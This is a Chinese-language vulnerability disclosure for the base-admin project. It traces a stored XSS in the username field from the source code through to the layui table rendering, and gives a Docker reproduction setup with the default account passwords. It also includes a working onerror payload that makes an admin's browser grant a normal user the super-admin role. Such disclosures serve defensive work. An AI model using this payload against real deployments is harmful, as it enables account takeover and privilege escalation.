base-admin 漏洞报告

软件名称:base-admin

开发者或厂商:huanzi-qch

代码仓库:https://github.com/huanzi-qch/base-admin

1. 用户名存储型 XSS 导致账号接管

简要描述:普通用户修改个人用户名时写入 XSS,受害者打开用户管理页面时脚本执行,接管受害者账号。
影响版本:9aacd614 (2019-09-17) 至 52816b76 (2026-03-17)
漏洞引入:base-admin commit 9aacd614
前置条件:攻击者有普通权限账号,且受害者打开用户管理页面。

漏洞成因

普通用户在个人信息页修改用户名时,服务端把请求中的 userName 保存到登录用户的记录。个人信息页通过下面的输入框提交用户名:

<!-- src/main/resources/view/user/userinfo.html:20-24    commit 52816b760c -->
<label class="layui-form-label">用户名</label>
<div class="layui-input-block">
    <input type="text" name="userName" th:value="${user.userName}" autocomplete="off"
           placeholder="用户名"
           class="layui-input">

保存请求由 UserController.updateUser 接收,方法把参数交给 UserServiceImpl.updateUser:

// src/main/java/cn/huanzi/qch/baseadmin/user/controller/UserController.java:58-63    commit 52816b760c
@PostMapping("updateUser")
@Decrypt
@Encrypt
public Result<SysUserVo> updateUser(SysUserVo sysUserVo) {
    return userService.updateUser(sysUserVo);
}

UserServiceImpl.updateUser 从请求对象中取出 userName,写入登录用户的记录:

// src/main/java/cn/huanzi/qch/baseadmin/user/service/UserServiceImpl.java:55-61    commit 52816b760c
@Override
public Result<SysUserVo> updateUser(SysUserVo sysUserVo) {
    SysUserVo sysUserVo1 = sysUserService.findByLoginName(SecurityUtil.getLoginUser().getUsername()).getData();
    //只允许用户修改这几个选项
    sysUserVo1.setUserName(sysUserVo.getUserName());

    //调用保存
    Result<SysUserVo> result = sysUserService.save(sysUserVo1);

setUserName 的值来自 HTTP 请求,方法没有校验或转义,sys_user.user_name 因此可以保存 HTML。

管理员打开用户管理页面时,前端用 layui table 渲染用户列表,userName 列的配置如下:

// src/main/resources/static/sys/user/js/user.js:41-44    commit 52816b760c
, cols: [[
    {field: 'userId', title: 'ID', hide: true}
    , {field: 'userName', title: '用户名称'}

该列没有 templet,layui 2.5.4 的 table 模块在未开启转义时把字段原值拼进单元格:

// src/main/resources/static/common/layui/lay/modules/table.js:1    commit 52816b760c
u=function(e,a,l,n){var o=e.templet?function(){return"function"==typeof e.templet?e.templet(l):i(t(e.templet).html()||String(a)).render(l)}():a;return n?t("<div>"+o+"</div>").text():o}

用户管理页面加载后,userName 中的 <img> 被插入 DOM,onerror 执行。脚本运行在管理员的会话中,可以调用管理接口。

复现环境搭建

项目没有提供 compose 文件,下面用项目自身的构建产物和 MySQL 8 启动。构建:

git clone https://github.com/huanzi-qch/base-admin.git
cd base-admin
docker run --rm -v "$PWD":/src -w /src maven:3.8-openjdk-8 mvn -DskipTests package

pom.xml 把 Spring Boot 可执行 jar 输出到 package/base-admin.jar。在该目录创建 docker-compose.yml:

name: base-admin-demo

services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: "123456"
      MYSQL_DATABASE: base_admin
    volumes:
      - ./src/main/resources/static/sql/base_admin.sql:/docker-entrypoint-initdb.d/base_admin.sql:ro
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-p123456"]
      interval: 5s
      timeout: 3s
      retries: 40

  app:
    image: eclipse-temurin:8-jre
    depends_on:
      db:
        condition: service_healthy
    volumes:
      - ./package/base-admin.jar:/app/app.jar:ro
      - ./fj:/data/fj
    environment:
      SPRING_DATASOURCE_URL: "jdbc:mysql://db:3306/base_admin?serverTimezone=GMT%2B8&characterEncoding=utf-8&useSSL=false"
      SPRING_DATASOURCE_USERNAME: root
      SPRING_DATASOURCE_PASSWORD: "123456"
      FILE_UPLOADPATH: /data/fj/
    command: ["java", "-jar", "/app/app.jar"]
    ports:
      - "8888:8888"

启动环境:

mkdir -p fj
docker compose up -d

应用默认监听 8888,context path 为 /baseadmin。初始 SQL 会创建 sa、admin、daji、xiaofang 四个账号,密码分别为 123456、123456、123456、111111。重复复现前执行 docker compose down -v 再 up -d,数据库会回到初始状态。

复现过程

浏览器打开 http://127.0.0.1:8888/baseadmin/loginPage,用 daji/123456 登录。验证码在 dev 配置下不校验。

打开 http://127.0.0.1:8888/baseadmin/user/userinfo,在“用户名”输入框中填入下面的 payload,点击“保存”:

<img src=x onerror="$.post(ctx+'/sys/sysUserAuthority/saveAllByUserId',{userId:'3fb1c570496d4c09ab99b8d31b0671cf',authorityIdList:'3fb1c570496d4c09ab99b8d31b06xxx'},function(){$('body').prepend('<h1 style=color:red>XSS EXECUTED</h1>')})">

userId 是初始 SQL 中 daji 的用户 ID,authorityIdList 是 ROLE_SA 的权限 ID。payload 长 238 字符,user_name 为 varchar(255)。填写 payload 后的界面如下:

个人信息页中的 payload

点击“保存”后的界面如下:

保存成功

退出登录,用 sa/123456 登录,打开 http://127.0.0.1:8888/baseadmin/sys/sysUser/user。用户列表渲染 daji 这一行时,<img> 的 onerror 执行,页面顶部出现红色的 XSS EXECUTED,并且 saveAllByUserId 把 daji 提升为 ROLE_SA:

管理员打开用户管理页面时触发 XSS

退出登录,用 daji/123456 重新登录。个人信息页把用户名改回 daji,再打开 http://127.0.0.1:8888/baseadmin/sys/sysUser/user。该页面位于 /sys/**,初始的 daji 只有 ROLE_USER,无法访问;现在能以 daji 的身份正常打开,结果如下:

daji 取得 ROLE_SA 后打开用户管理页面

以上步骤表明,普通用户可以借助管理员的用户管理页面接管管理员账号。